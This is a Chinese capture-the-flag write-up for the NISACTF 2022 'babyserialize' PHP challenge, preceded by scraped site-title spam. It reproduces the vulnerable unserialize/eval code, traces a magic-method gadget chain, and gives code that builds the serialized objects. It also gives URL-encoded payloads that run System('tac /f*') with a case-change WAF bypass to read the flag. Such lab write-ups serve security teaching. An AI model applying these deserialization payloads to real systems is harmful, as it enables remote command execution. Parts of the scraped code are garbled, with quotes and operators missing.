网站模板d一品资源网,做准考证的网站,怒江网站制作,效果好的网站建[NISACTF 2022]babyserialize 一、解题过程二、思考总结#xff08;一#xff09;、关于题目的小细节#xff08;二#xff09;、关于弱类型比较技巧 一、解题过程
题目代码#xff1a;
?php
include waf.php;
class NISA{public $funshow_me_fl… [NISACTF 2022]babyserialize 一、解题过程二、思考总结一、关于题目的小细节二、关于弱类型比较技巧 一、解题过程
题目代码
?php
include waf.php;
class NISA{public $funshow_me_flag;public $txw4ever;public function __wakeup(){if($this-funshow_me_flag){hint();}}function __call($from,$val){$this-fun$val[0];}public function __toString(){echo $this-fun;return ;}public function __invoke(){checkcheck($this-txw4ever);eval($this-txw4ever);}
}class TianXiWei{public $ext;public $x;public function __wakeup(){$this-ext-nisa($this-x);}
}class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this-huang-fun$arg[0];}public function __toString(){$bb $this-su;return $bb();}
}class four{public $aTXW4EVER;private $funabc;public function __set($name, $value){$this-$name$value;if ($this-fun sixsixsix){strtolower($this-a);}}
}
if(isset($_GET[ser])){unserialize($_GET[ser]);
}else{highlight_file(__FILE__);
}
?1、分析链条和属性 链条TianXiWeis__wakeup- Ilovetxw__call- four__set - Ilovetxw__toString- NISA__invoke 属性TianXiWeisext$i- Ilovetxwhuang$f- fourfunsixsixsix;a$i- Ilovetxwsu$n- NISAtxw4ever命令 2、序列化代码这里暂时还不知道waf是什么暂时也没底先试试看能不能成功打通链条再说 ᕦ(ㅂ)ᕤ
?php………………………class照搬………………………$t new TianXiWei();$i new Ilovetxw();$f new four();$n new NISA();$t-ext$i;$i-huang$f;$f-funsixsixsix;$f-a$i;$i-su$n; //这里可以注释掉取消Ilovetxw和NISA的魔术方法调用看看会不会出现NISA的hint提示从而判断我们构造的代码有没有问题$n-txw4eversystem(ls);;//echo serialize($t); 有特殊字符不能用serializeecho urlencode(serialize($t)); //记住是序列化t不是n哦~
?payloadO%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D 得到flag is in /
3、大小写绕过systemtac绕过cat删除fun内容跳过hint()提示 payloadO%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%27tac%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D 得到NSSCTF{d0d88168-866b-4c8a-a9ef-e3530912602e}
二、思考总结
一、关于题目的小细节
在做这题的时候我的链条构造一直有$f-funsixsixsix; 但是在看完别人的wp之后发现并没有进行$f-funsixsixsix;的赋值操作 我在整体的角度看了好久也没看出为什么不赋值也能顺利拿到payload也去请教了老师 讲讲原因if里面是**不是**哈哈哈哈 有时候确实代码一长就容易忽视细节默认if里面就是判断其实是错的 因为该问题我明白了认真观察、注意细节的重要性。
二、关于弱类型比较技巧
这题解决之后我发现有个评论很有意思 当我们把变量赋值为类对象在和字符串比较的时候会被转化为字符串再比较触发toString魔术方法少走很多弯路又学到一个技巧